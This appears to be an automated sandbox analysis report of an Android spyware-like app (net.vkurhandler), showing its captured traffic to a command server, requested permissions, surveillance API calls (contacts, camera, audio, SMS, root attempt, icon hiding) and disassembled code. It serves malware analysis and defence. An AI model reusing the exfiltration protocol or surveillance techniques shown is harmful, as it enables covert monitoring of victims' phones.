                    Apr 3, 2019 15:44:04.054094076 MESZ28OUTData Raw: 70 61 72 61 6d 73 3d 25 37 42 25 32 32 63 6f 6d 6d 61 6e 64 5f 69 64 25 32 32 25 33 41 25 32 32 30 25 32 32 25 32 43 25 32 32 63 6f 6d 6d 61 6e 64 25 32 32 25 33 41 25 32 32 61 70 70 5f 6c 69 73 74 25 32 32 25 32 43 25 32 32 61 63 74 69 6f 6e 25
                    Data Ascii: params=%7B%22command_id%22%3A%220%22%2C%22command%22%3A%22app_list%22%2C%22action%22%3A%22send_data%22%2C%22response_base64_zipped%22%3A%22true%22%2C%22module%22%3A%22device%22%2C%22type%22%3A%223%22%2C%22response%22%3A%22eJyFU8lOwzAQ%5C%2FZUo
                    Apr 3, 2019 15:44:04.079289913 MESZ28INHTTP/1.1 200 OK
                    Server: nginx/1.11.3
                    Date: Wed, 03 Apr 2019 13:44:04 GMT
                    Content-Type: text/html; charset=UTF-8
                    Content-Length: 60
                    Connection: keep-alive
                    X-Powered-By: PHP/5.3.3
                    Cache-Control: no-cache, no-store, must-revalidate
                    Pragma: no-cache
                    Expires: 0
                    Data Raw: 7b 22 72 65 73 70 6f 6e 73 65 22 3a 7b 22 65 72 72 6f 72 22 3a 22 69 6e 63 6f 72 72 65 63 74 5f 64 65 76 69 63 65 5f 69 64 22 2c 22 73 75 63 63 65 73 73 22 3a 66 61 6c 73 65 7d 7d
                    Data Ascii: {"response":{"error":"incorrect_device_id","success":false}}


                    Session IDSource IPSource PortDestination IPDestination Port
                    2192.168.1.9253548176.9.42.1680
                    TimestampkBytes transferredDirectionData
                    Apr 3, 2019 15:46:16.361054897 MESZ49OUTPOST /backend/new/handler.php HTTP/1.1
                    Content-Length: 71
                    Content-Type: application/x-www-form-urlencoded
                    Host: reptilicus.net
                    Connection: Keep-Alive
                    Accept-Encoding: gzip
                    Data Raw: 70 61 72 61 6d 73 3d 25 37 42 25 32 32 6d 6f 64 75 6c 65 25 32 32 25 33 41 25 32 32 63 6c 69 65 6e 74 25 32 32 25 32 43 25 32 32 61 63 74 69 6f 6e 25 32 32 25 33 41 25 32 32 67 65 74 5f 6c 69 63 25 32 32 25 37 44
                    Data Ascii: params=%7B%22module%22%3A%22client%22%2C%22action%22%3A%22get_lic%22%7D
                    Apr 3, 2019 15:46:16.385911942 MESZ50INHTTP/1.1 200 OK
                    Server: nginx/1.11.3
                    Date: Wed, 03 Apr 2019 13:46:16 GMT
                    Content-Type: text/html; charset=UTF-8
                    Content-Length: 95
                    Connection: keep-alive
                    X-Powered-By: PHP/5.3.3
                    Cache-Control: no-cache, no-store, must-revalidate
                    Pragma: no-cache
                    Expires: 0
                    Data Raw: 7b 72 65 73 70 6f 6e 73 65 3a 7b 22 73 75 63 63 65 73 73 22 3a 22 74 72 75 65 22 2c 22 73 65 72 69 61 6c 22 3a 20 22 31 35 35 34 37 36 38 30 30 30 22 2c 20 22 6b 65 79 22 3a 20 22 32 43 43 45 36 46 34 37 30 32 37 45 30 30 36 35 42 45 37 46 46 46 35 37 32 35 37 33 33 35 36 30 22 7d 7d
                    Data Ascii: {response:{"success":"true","serial": "1554768000", "key": "2CCE6F47027E0065BE7FFF5725733560"}}
                    Apr 3, 2019 15:46:16.536488056 MESZ50OUTPOST /backend/new/handler.php HTTP/1.1
                    Content-Length: 840
                    Content-Type: application/x-www-form-urlencoded
                    Host: reptilicus.net
                    Connection: Keep-Alive
                    Accept-Encoding: gzip
                    Apr 3, 2019 15:46:16.536645889 MESZ51OUTData Raw: 70 61 72 61 6d 73 3d 25 37 42 25 32 32 63 6f 6d 6d 61 6e 64 5f 69 64 25 32 32 25 33 41 25 32 32 30 25 32 32 25 32 43 25 32 32 63 6f 6d 6d 61 6e 64 25 32 32 25 33 41 25 32 32 61 70 70 5f 6c 69 73 74 25 32 32 25 32 43 25 32 32 61 63 74 69 6f 6e 25
                    Data Ascii: params=%7B%22command_id%22%3A%220%22%2C%22command%22%3A%22app_list%22%2C%22action%22%3A%22send_data%22%2C%22response_base64_zipped%22%3A%22true%22%2C%22module%22%3A%22device%22%2C%22type%22%3A%223%22%2C%22response%22%3A%22eJyFU8lOwzAQ%5C%2FZUo
                    Apr 3, 2019 15:46:16.561513901 MESZ52INHTTP/1.1 200 OK
                    Server: nginx/1.11.3
                    Date: Wed, 03 Apr 2019 13:46:16 GMT
                    Content-Type: text/html; charset=UTF-8
                    Content-Length: 60
                    Connection: keep-alive
                    X-Powered-By: PHP/5.3.3
                    Cache-Control: no-cache, no-store, must-revalidate
                    Pragma: no-cache
                    Expires: 0
                    Data Raw: 7b 22 72 65 73 70 6f 6e 73 65 22 3a 7b 22 65 72 72 6f 72 22 3a 22 69 6e 63 6f 72 72 65 63 74 5f 64 65 76 69 63 65 5f 69 64 22 2c 22 73 75 63 63 65 73 73 22 3a 66 61 6c 73 65 7d 7d
                    Data Ascii: {"response":{"error":"incorrect_device_id","success":false}}
                    Apr 3, 2019 15:46:17.726782084 MESZ52OUTPOST /backend/new/handler.php HTTP/1.1
                    Content-Length: 511
                    Content-Type: application/x-www-form-urlencoded
                    Host: reptilicus.net
                    Connection: Keep-Alive
                    Accept-Encoding: gzip
                    Apr 3, 2019 15:46:17.727469921 MESZ53OUTData Raw: 70 61 72 61 6d 73 3d 25 37 42 25 32 32 63 68 61 72 67 65 72 25 32 32 25 33 41 25 32 32 74 72 75 65 25 32 32 25 32 43 25 32 32 73 75 62 5f 74 79 70 65 25 32 32 25 33 41 25 32 32 32 25 32 32 25 32 43 25 32 32 62 61 74 5f 6c 65 76 65 6c 25 32 32 25
                    Data Ascii: params=%7B%22charger%22%3A%22true%22%2C%22sub_type%22%3A%222%22%2C%22bat_level%22%3A%22100%22%2C%22action%22%3A%22send_data%22%2C%22name%22%3A%22%22%2C%22date%22%3A%222018-08-31+12%3A41%3A18%22%2C%22sms_type%22%3A%221%22%2C%22module%22%3A%22de
                    Apr 3, 2019 15:46:17.753125906 MESZ53INHTTP/1.1 200 OK
                    Server: nginx/1.11.3
                    Date: Wed, 03 Apr 2019 13:46:17 GMT
                    Content-Type: text/html; charset=UTF-8
                    Content-Length: 60
                    Connection: keep-alive
                    X-Powered-By: PHP/5.3.3
                    Cache-Control: no-cache, no-store, must-revalidate
                    Pragma: no-cache
                    Expires: 0
                    Data Raw: 7b 22 72 65 73 70 6f 6e 73 65 22 3a 7b 22 65 72 72 6f 72 22 3a 22 69 6e 63 6f 72 72 65 63 74 5f 64 65 76 69 63 65 5f 69 64 22 2c 22 73 75 63 63 65 73 73 22 3a 66 61 6c 73 65 7d 7d
                    Data Ascii: {"response":{"error":"incorrect_device_id","success":false}}


                    APK Behavior

                    Installation Messages
                    NameIs Error
                    • Not granting permission android.permission.CHANGE_COMPONENT_ENABLED_STATE to package net.vkurhandler (protectionLevel=18 flags=0x1808be44)
                    • Not granting permission android.permission.MODIFY_PHONE_STATE to package net.vkurhandler (protectionLevel=18 flags=0x1808be44)
                    • Not granting permission android.permission.BATTERY_STATS to package net.vkurhandler (protectionLevel=50 flags=0x1808be44)
                    • Not granting permission android.permission.DEVICE_POWER to package net.vkurhandler (protectionLevel=2 flags=0x1808be44)
                    • Not granting permission android.permission.WRITE_SECURE_SETTINGS to package net.vkurhandler (protectionLevel=50 flags=0x1808be44)
                    • Not granting permission android.permission.MOUNT_FORMAT_FILESYSTEMS to package net.vkurhandler (protectionLevel=18 flags=0x1808be44)
                    • Not granting permission android.permission.CAPTURE_AUDIO_OUTPUT to package net.vkurhandler (protectionLevel=18 flags=0x1808be44)
                    • Not granting permission android.permission.MOUNT_UNMOUNT_FILESYSTEMS to package net.vkurhandler (protectionLevel=18 flags=0x1808be44)
                    • Unknown permission android.permission.WRITE_INTERNAL_STORAGE in package net.vkurhandler
                    • Not granting permission android.permission.INSTALL_PACKAGES to package net.vkurhandler (protectionLevel=18 flags=0x1808be44)
                    • Not granting permission android.permission.DELETE_PACKAGES to package net.vkurhandler (protectionLevel=18 flags=0x1808be44)
                    • Not granting permission android.permission.BIND_ACCESSIBILITY_SERVICE to package net.vkurhandler (protectionLevel=2 flags=0x1808be44)
                    false
                    Started Services
                    Registered Receivers

                    Simulated Events

                    TypeData
                    boot completed
                    • -
                    time tick
                    • -
                    incoming sms
                    • 0123456789
                    • this is a text message
                    outgoing sms
                    • 9876543210
                    • thank you
                    location change
                    • 54.13
                    • 12.14
                    motion simulation
                    • -
                    incoming call
                    • 0123456789
                    outgoing call
                    • 9876543210
                    time tick
                    • -

                    Interacted Views

                    View Data
                    • Object: android.widget.Button{a2654e6 VFED..C.. .F....I. 104,4-308,52 #102001b android:id/button3}
                    • X: 119
                    • Y: 173
                    • Label: Close
                    • Object: android.widget.Button{a2654e6 VFED..C.. .F....ID 104,4-308,52 #102001b android:id/button3}
                    • X: 119
                    • Y: 173
                    • Label: Close
                    • Object: android.widget.Button{a2654e6 VFED..C.. .F.P..ID 104,4-308,52 #102001b android:id/button3}
                    • X: 119
                    • Y: 173
                    • Label: Close
                    • Object: android.widget.Button{a2654e6 VFED..C.. .F.P..ID 104,4-308,52 #102001b android:id/button3}
                    • X: 119
                    • Y: 173
                    • Label: Close
                    • Object: android.widget.Button{a2654e6 VFED..C.. .F.P..ID 104,4-308,52 #102001b android:id/button3}
                    • X: 119
                    • Y: 173
                    • Label: Close
                    • Object: android.widget.Button{a2654e6 VFED..C.. .F.P..ID 104,4-308,52 #102001b android:id/button3}
                    • X: 119
                    • Y: 173
                    • Label: Close
                    External Library Dependencies
                    API: android.location.LocationManager->requestLocationUpdates at net.vkurhandler.da.a:22 Show source
                    NameTypeValue
                    p0java.lang.String
                    • toString: gps
                    p1java.lang.Long
                    • toString: 0
                    p2java.lang.Float
                    • toString: 0.0
                    p3net.vkurhandler.da
                    • toString: net.vkurhandler.da@aa3e594
                    API: android.net.ConnectivityManager->getActiveNetworkInfo at net.vkurhandler.gn.i:7 Show source
                    NameTypeValue
                    Return Valueandroid.net.NetworkInfo
                    • toString: [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: c2:b1:a1:c8:51:6d, failover: false, available: true, roaming: false, metered: false]
                    API: android.net.ConnectivityManager->getNetworkInfo at net.vkurhandler.gn.a:7 Show source
                    NameTypeValue
                    networkTypejava.lang.Integer
                    • toString: 1
                    NameTypeValue
                    Return Valueandroid.net.NetworkInfo
                    • toString: [type: WIFI[???], state: CONNECTED/CONNECTED, reason: (unspecified), extra: (none), failover: false, available: false, roaming: false, metered: false]
                    API: android.content.ContentResolver->query at net.vkurhandler.al.a:25 Show source
                    NameTypeValue
                    p0android.net.Uri$HierarchicalUri
                    • toString: content://com.android.contacts/data/phones
                    p1[Ljava.lang.String;
                    • toString: [Ljava.lang.String;@d1c1998
                    • Arrays.toString: [display_name, data1, _id]
                    p2null
                    • toString: null
                    p3null
                    • toString: null
                    p4java.lang.String
                    • toString: _id DESC LIMIT 1
                    NameTypeValue
                    Return Valueandroid.content.ContentResolver$CursorWrapperInner
                    • toString: android.content.ContentResolver$CursorWrapperInner@df805d6
                    API: android.content.ContentResolver->query at net.vkurhandler.al.a:55 Show source
                    NameTypeValue
                    p0android.net.Uri$HierarchicalUri
                    • toString: content://com.android.contacts/data/phones
                    p1null
                    • toString: null
                    p2null
                    • toString: null
                    p3null
                    • toString: null
                    p4null
                    • toString: null
                    NameTypeValue
                    Return Valueandroid.content.ContentResolver$CursorWrapperInner
                    • toString: android.content.ContentResolver$CursorWrapperInner@134030c
                    API: java.lang.Runtime->exec at net.vkurhandler.ec.a:33 Show source
                    NameTypeValue
                    p0java.lang.String
                    • toString: su
                    NameTypeValue
                    Return Valuejava.io.IOException
                    • toString: java.io.IOException: Cannot run program "su": error=13, Permission denied
                    API: android.telephony.TelephonyManager->getCellLocation at net.vkurhandler.Mobile.b:41 Show source
                    API: android.net.ConnectivityManager->getActiveNetworkInfo at net.vkurhandler.gn.j:8 Show source
                    API: android.net.wifi.WifiManager->getScanResults at net.vkurhandler.ai.onReceive:24 Show source
                    API: android.net.wifi.WifiManager->isWifiEnabled at net.vkurhandler.ah.a:4069 Show source
                    API: android.hardware.Camera->open at net.vkurhandler.PhotoActivity.onCreate:65 Show source
                    API: android.hardware.Camera->open at net.vkurhandler.cz.a:2 Show source
                    API: android.hardware.Camera->open at net.vkurhandler.ga.a:1 Show source
                    API: android.hardware.Camera->open at net.vkurhandler.ay.a:12 Show source
                    API: android.content.pm.PackageManager->setComponentEnabledSetting at net.vkurhandler.ah.a:840 Show source
                    API: android.content.pm.PackageManager->setComponentEnabledSetting at net.vkurhandler.gn.g:272 Show source
                    API: android.content.pm.PackageManager->setComponentEnabledSetting at net.vkurhandler.SettingsActivity.hideUnhideApp:21 Show source
                    API: android.net.wifi.WifiManager->setWifiEnabled at net.vkurhandler.DispatchService.b:29 Show source
                    API: android.net.wifi.WifiManager->setWifiEnabled at net.vkurhandler.ah.a:657 Show source
                    API: android.net.wifi.WifiManager->setWifiEnabled at net.vkurhandler.DispatchService.a:21 Show source
                    API: android.app.ActivityManager->getRunningTasks at net.vkurhandler.gn.a:55 Show source
                    API: java.net.URL->openConnection at net.vkurhandler.gn.a:5 Show source
                    API: org.apache.http.impl.client.DefaultHttpClient-><init> at ..:65 Show source
                    API: java.net.Socket-><init> at net.vkurhandler.gk.run:66 Show source
                    API: android.content.ContentResolver->query at ..:30 Show source
                    API: android.content.ContentResolver->query at ..:84 Show source
                    API: android.content.ContentResolver->query at ..:33 Show source
                    API: android.content.ContentResolver->query at ..:19 Show source
                    API: android.content.ContentResolver->query at ..:1 Show source
                    API: android.content.ContentResolver->query at ..:44 Show source
                    API: android.content.ContentResolver->query at net.vkurhandler.ah.b:13 Show source
                    API: android.content.ContentResolver->query at net.vkurhandler.fz.onChange:55 Show source
                    API: android.content.ContentResolver->query at net.vkurhandler.gn.a:27 Show source
                    API: java.lang.Runtime->exec at net.vkurhandler.ec.b:8 Show source
                    API: java.lang.Runtime->exec at net.vkurhandler.ed.run:6 Show source
                    API: java.lang.Runtime->exec at com.nll.nativelibs.callrecording.d.d:8 Show source
                    API: java.lang.Runtime->exec at net.vkurhandler.ec.a:6 Show source
                    API: android.telephony.TelephonyManager->getSubscriberId at net.vkurhandler.Mobile.a:6 Show source
                    API: android.telephony.TelephonyManager->getDeviceId at net.vkurhandler.Mobile.h:25 Show source
                    API: android.media.AudioRecord-><init> at ..:96 Show source
                    API: android.media.AudioRecord-><init> at ..:8 Show source
                    API: android.telephony.SmsManager->sendTextMessage at net.vkurhandler.gn.b:9 Show source
                    API: android.media.MediaPlayer->start at ..:24 Show source
                    API: android.media.MediaPlayer->stop at ..:16 Show source
                    API: android.provider.Settings$Secure->putInt at ..:29 Show source
                    API: android.provider.Settings$Secure->putString at ..:46 Show source
                    API: android.provider.Settings$Secure->putInt at ..:29 Show source
                    API: android.provider.Settings$Secure->putString at ..:46 Show source

                    76 Executed Methods

                    APIs
                    • net.vkurhandler.DispatchService.getApplicationContext
                    • android.content.Intent.getBooleanExtra
                    • net.vkurhandler.DispatchService.a
                    • net.vkurhandler.DispatchService.b
                    • org.json.JSONObject.<init>
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • net.vkurhandler.DispatchService.getApplicationContext
                    • java.lang.String.<init>
                    • org.json.JSONObject.<init>
                    • org.json.JSONObject.has
                    • org.json.JSONObject.getJSONObject
                    • org.json.JSONObject.getBoolean
                    • net.vkurhandler.DispatchService.getApplicationContext
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.t
                    • java.lang.StringBuilder.<init>
                    • org.json.JSONObject.getLong
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • android.content.SharedPreferences.edit
                    • org.json.JSONObject.getLong
                    • android.content.SharedPreferences$Editor.putLong
                    • android.content.SharedPreferences$Editor.commit
                    • android.content.SharedPreferences.edit
                    • org.json.JSONObject.getString
                    • android.content.SharedPreferences$Editor.putString
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.DispatchService.a
                    • android.database.sqlite.SQLiteDatabase.rawQuery
                    • android.database.Cursor.getCount
                    • android.database.Cursor.getColumnIndex
                    • android.database.Cursor.getColumnIndex
                    • android.database.Cursor.getColumnIndex
                    • android.database.Cursor.getColumnIndex
                    • android.database.Cursor.getColumnIndex
                    • android.database.Cursor.getColumnIndex
                    • java.util.ArrayList.<init>
                    • android.content.Intent.getBooleanExtra
                    • net.vkurhandler.DispatchService.getApplicationContext
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.t
                    • net.vkurhandler.MyApp.v
                    • android.database.Cursor.moveToNext
                    • net.vkurhandler.DispatchService.a
                    • net.vkurhandler.DispatchService.b
                    • android.database.Cursor.getInt
                    • android.database.Cursor.getInt
                    • android.database.Cursor.getString
                    • org.json.JSONObject.<init>
                    • org.json.JSONObject.put
                    • android.content.Intent.getIntExtra
                    • org.json.JSONObject.getString
                    • java.io.File.<init>
                    • java.io.File.delete
                    • net.vkurhandler.DispatchService.a
                    • android.database.Cursor.isNull
                    • android.database.Cursor.getLong
                    • java.lang.System.currentTimeMillis
                    • org.json.JSONObject.getInt
                    • android.database.Cursor.getString
                    • net.vkurhandler.DispatchService.a
                    • net.vkurhandler.DispatchService.a
                    • net.vkurhandler.DispatchService.a
                    • org.json.JSONObject.has
                    • org.json.JSONObject.getInt
                    • org.json.JSONObject.getString
                    • net.vkurhandler.DispatchService.b
                    • net.vkurhandler.DispatchService.a
                    • net.vkurhandler.DispatchService.b
                    • net.vkurhandler.DispatchService.d
                    • net.vkurhandler.DispatchService.a
                    • net.vkurhandler.DispatchService.c
                    • org.json.JSONObject.getString
                    • java.io.File.<init>
                    • java.io.File.delete
                    • net.vkurhandler.DispatchService.a
                    • android.database.Cursor.getString
                    • java.lang.String.equals
                    • android.content.SharedPreferences.getBoolean
                    • android.content.SharedPreferences.getBoolean
                    • android.content.SharedPreferences.getString
                    • android.content.SharedPreferences.getString
                    • android.text.TextUtils.isEmpty
                    • net.vkurhandler.DispatchService.a
                    • android.text.TextUtils.isEmpty
                    • net.vkurhandler.DispatchService.a
                    • org.json.JSONObject.put
                    • net.vkurhandler.DispatchService.e
                    • net.vkurhandler.DispatchService.a
                    • java.lang.Integer.valueOf
                    • java.util.List.add
                    Strings
                    • DispatchService
                    • onHandleIntent
                    • dispatch_schedule
                    • Not have internet after enable
                    • module
                    • client
                    • action
                    • get_lic
                    • {response:{"success":"true","serial": "1554768000", "key": "2CCE6F47027E0065BE7FFF5725733560"}}
                    • NLL response
                    • response
                    • success
                    • NLL result ok. serial:
                    • serial
                    • NLLSERIAL
                    • NLLKEY
                    • 2CCE6F47027E0065BE7FFF5725733560
                    • key
                    • select * from history order by id asc
                    • id
                    • data
                    • data_type
                    • location
                    • temp_location_item_id
                    • extra
                    • dispatch_delete_by_id
                    • invalid nll response
                    • {"charger":"true","sub_type":"2","bat_level":"100","action":"send_data","name":"","date":"2018-08-31 12:41:18","sms_type":"1","module":"device","message":"null","type":"1","phone_number":""}
                    • {"command_id":"0","command":"app_list","action":"send_data","response_base64_zipped":"true","module":"device","type":"3","response":"eJyFU8lOwzAQ\/ZUo58oHkBDihqBwAlVNOSCE0MQeUhPbY7xULaj\/TtqQijohPdp+29jPL985WPtmQGN+lT9TXMQS80lu66rb5KRZRVQpZGCEIynYhmLY4baTI\/q8KLI5gkDXV8A1aPtHwnnvWmgicr+3yq6tPRmjXX5GyWuP4PiypHUqdwNKlg6CJHOsR65iX+horaBkMUjFguegUv6dVOj7SboIgnjUaIKPsudMJgAPI2TeIdIr0CDV6en1wKxoBAzc\/sGxQyTMRwo4A3H62UwDtA0wdV460gO9Ofi25wlrtiQzQhKySdvvB6hmd\/M\/rWoB572QxcYH1NmTFRDSihoMbFVHt2xUBkwX6LQ0oLKpjgoCJewP4LUF1UVo1HtvU2AI0lQjbfAdIvUGX5dDj\/oOTqMrSxZaRKe0vrxINR6il7yvwDdgqEKjSTBUuEIzUCk+NHFSql\/MWUqfDje5Y+L+OLVUxOuRVqCv+R6S8G5xlS2I1NhvbUZUZHcfNt++\/gDb6cBp"}
                    • device_id
                    • dispatch_id
                    • absolute_file_path
                    • DispatchService->each
                    • sub_type
                    • response_transport
                    • response_number
                    • sms_sent
                    • change_sim_send_sms
                    • send_on_change_sim
                    • sim_checker_1
                    • sim_checker_2
                    Position Instruction Meta Information
                    1invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    2move-result v4
                    3if-eqz v4, :cond_f
                    5const-string v4, "DispatchService"
                    7const-string v5, "onHandleIntent"
                    8move-object/from16 v0, p1
                    10invoke-static {v4, v5, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/String;Landroid/content/Intent;)V
                    11cond_f: const/4 v7, -0x1
                    12const/4 v5, 0x0
                    13try_start_11:
                    14invoke-virtual/range {p0 .. p0}, Lnet/vkurhandler/DispatchService;->getApplicationContext()Landroid/content/Context;
                    • Time: 1276756
                      • This:
                        • net.vkurhandler.DispatchService@eda8525
                      • Return:
                        • net.vkurhandler.MyApp@133c58d
                    15move-result-object v4
                    17invoke-static {v4}, Lnet/vkurhandler/gn;->i(Landroid/content/Context;)Z
                    18move-result v4
                    19if-nez v4, :cond_4d
                    20if-eqz p1, :cond_4d
                    22const-string v4, "dispatch_schedule"
                    23const/4 v6, 0x0
                    24move-object/from16 v0, p1
                    26invoke-virtual {v0, v4, v6}, Landroid/content/Intent;->getBooleanExtra(Ljava/lang/String;Z)Z
                    27move-result v4
                    28if-eqz v4, :cond_4d
                    30invoke-direct/range {p0 .. p0}, Lnet/vkurhandler/DispatchService;->a()I
                    31try_end_2b: move-result v6
                    32if-gez v6, :cond_3b
                    33try_start_2e:
                    34invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    35move-result v4
                    36if-eqz v4, :cond_3b
                    38const-string v4, "DispatchService"
                    40const-string v7, "Not have internet after enable"
                    42invoke-static {v4, v7}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    43cond_3b: if-eqz v5, :cond_44
                    45invoke-static {}, Lnet/vkurhandler/ao;->a()Lnet/vkurhandler/ao;
                    46move-result-object v4
                    48invoke-virtual {v4}, Lnet/vkurhandler/ao;->c()V
                    49cond_44: const/4 v4, -0x1
                    50if-le v6, v4, :cond_4c
                    51move-object/from16 v0, p0
                    53invoke-direct {v0, v6}, Lnet/vkurhandler/DispatchService;->b(I)V
                    54cond_4c: return-void
                    55try_start_4d: new-instance v4, Lorg/json/JSONObject;
                    57invoke-direct {v4}, Lorg/json/JSONObject;-><init>()V
                    59const-string v6, "module"
                    61const-string v8, "client"
                    63invoke-virtual {v4, v6, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    65const-string v6, "action"
                    67const-string v8, "get_lic"
                    69invoke-virtual {v4, v6, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    70new-instance v6, Lnet/vkurhandler/gb;
                    72invoke-direct {v6}, Lnet/vkurhandler/gb;-><init>()V
                    74invoke-virtual/range {p0 .. p0}, Lnet/vkurhandler/DispatchService;->getApplicationContext()Landroid/content/Context;
                    • Time: 1276980
                      • This:
                        • net.vkurhandler.DispatchService@eda8525
                      • Return:
                        • net.vkurhandler.MyApp@133c58d
                    75move-result-object v8
                    77invoke-static {v8, v4, v6}, Lnet/vkurhandler/ea;->b(Landroid/content/Context;Lorg/json/JSONObject;Lcom/a/a/a/h;)V
                    79invoke-virtual {v6}, Lnet/vkurhandler/gb;->i()[B
                    80move-result-object v4
                    81if-eqz v4, :cond_fd
                    82array-length v6, v4
                    83if-lez v6, :cond_fd
                    84new-instance v6, Ljava/lang/String;
                    86invoke-direct {v6, v4}, Ljava/lang/String;-><init>([B)V
                    • Time: 1277468
                      • This:
                        • {response:{"success":"true","serial": "1554768000", "key": "2CCE6F47027E0065BE7FFF5725733560"}}
                      • p0: [B@ef16414
                      • p0: {response:{"success":"true","serial": "1554768000", "key": "2CCE6F47027E0065BE7FFF5725733560"}}
                      • p0: 7B726573706F6E73653A7B2273756363657373223A2274727565222C2273657269616C223A202231353534373638303030222C20226B6579223A20223243434536463437303237453030363542453746464635373235373333353630227D7D
                      • Return:
                        • {response:{"success":"true","serial": "1554768000", "key": "2CCE6F47027E0065BE7FFF5725733560"}}
                    • Time: 1410956
                      • This:
                        • {response:{"success":"true","serial": "1554768000", "key": "2CCE6F47027E0065BE7FFF5725733560"}}
                      • p0: [B@829ed5
                      • p0: {response:{"success":"true","serial": "1554768000", "key": "2CCE6F47027E0065BE7FFF5725733560"}}
                      • p0: 7B726573706F6E73653A7B2273756363657373223A2274727565222C2273657269616C223A202231353534373638303030222C20226B6579223A20223243434536463437303237453030363542453746464635373235373333353630227D7D
                      • Return:
                        • {response:{"success":"true","serial": "1554768000", "key": "2CCE6F47027E0065BE7FFF5725733560"}}
                    88invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    89move-result v4
                    90if-eqz v4, :cond_90
                    92const-string v4, "DispatchService"
                    93const/4 v8, 0x2
                    94new-array v8, v8, [Ljava/lang/String;
                    95const/4 v9, 0x0
                    97const-string v10, "NLL response "
                    98aput-object v10, v8, v9
                    99const/4 v9, 0x1
                    100aput-object v6, v8, v9
                    102invoke-static {v4, v8}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;[Ljava/lang/String;)V
                    103cond_90: new-instance v4, Lorg/json/JSONObject;
                    105invoke-direct {v4, v6}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                    • Time: 1277518
                      • p0: {response:{"success":"true","serial": "1554768000", "key": "2CCE6F47027E0065BE7FFF5725733560"}}
                      • Return:
                        • {"response":{"success":"true","serial":"1554768000","key":"2CCE6F47027E0065BE7FFF5725733560"}}
                    107const-string v6, "response"
                    109invoke-virtual {v4, v6}, Lorg/json/JSONObject;->has(Ljava/lang/String;)Z
                    • Time: 1277521
                      • This:
                        • {"response":{"success":"true","serial":"1554768000","key":"2CCE6F47027E0065BE7FFF5725733560"}}
                      • p0: response
                      • Return:
                        • true
                    110move-result v6
                    111if-eqz v6, :cond_178
                    113const-string v6, "response"
                    115invoke-virtual {v4, v6}, Lorg/json/JSONObject;->getJSONObject(Ljava/lang/String;)Lorg/json/JSONObject;
                    116move-result-object v4
                    118const-string v6, "success"
                    120invoke-virtual {v4, v6}, Lorg/json/JSONObject;->getBoolean(Ljava/lang/String;)Z
                    121move-result v6
                    122if-eqz v6, :cond_fd
                    124invoke-virtual/range {p0 .. p0}, Lnet/vkurhandler/DispatchService;->getApplicationContext()Landroid/content/Context;
                    • Time: 1277524
                      • This:
                        • net.vkurhandler.DispatchService@eda8525
                      • Return:
                        • net.vkurhandler.MyApp@133c58d
                    125move-result-object v6
                    127invoke-static {v6}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    128move-result-object v6
                    130invoke-virtual {v6}, Lnet/vkurhandler/MyApp;->t()Landroid/content/SharedPreferences;
                    131move-result-object v6
                    133invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    134move-result v8
                    135if-eqz v8, :cond_d7
                    137const-string v8, "DispatchService"
                    138new-instance v9, Ljava/lang/StringBuilder;
                    140const-string v10, "NLL result ok. serial:"
                    142invoke-direct {v9, v10}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    144const-string v10, "serial"
                    146invoke-virtual {v4, v10}, Lorg/json/JSONObject;->getLong(Ljava/lang/String;)J
                    147move-result-wide v10
                    149invoke-virtual {v9, v10, v11}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
                    150move-result-object v9
                    152invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    153move-result-object v9
                    155invoke-static {v8, v9}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    156cond_d7:
                    157invoke-interface {v6}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    158move-result-object v8
                    160const-string v9, "NLLSERIAL"
                    162const-string v10, "serial"
                    164invoke-virtual {v4, v10}, Lorg/json/JSONObject;->getLong(Ljava/lang/String;)J
                    165move-result-wide v10
                    167invoke-interface {v8, v9, v10, v11}, Landroid/content/SharedPreferences$Editor;->putLong(Ljava/lang/String;J)Landroid/content/SharedPreferences$Editor;
                    168move-result-object v8
                    170invoke-interface {v8}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    172invoke-interface {v6}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    173move-result-object v6
                    175const-string v8, "NLLKEY"
                    177const-string v9, "key"
                    179invoke-virtual {v4, v9}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    • Time: 1277547
                      • This:
                        • {"success":"true","serial":"1554768000","key":"2CCE6F47027E0065BE7FFF5725733560"}
                      • p0: key
                      • Return:
                        • 2CCE6F47027E0065BE7FFF5725733560
                    180move-result-object v4
                    182invoke-interface {v6, v8, v4}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
                    183move-result-object v4
                    185invoke-interface {v4}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    186cond_fd:
                    187invoke-static {}, Lnet/vkurhandler/ao;->a()Lnet/vkurhandler/ao;
                    188move-result-object v4
                    190invoke-virtual {v4}, Lnet/vkurhandler/ao;->b()Landroid/database/sqlite/SQLiteDatabase;
                    191try_end_104: move-result-object v6
                    192try_start_105:
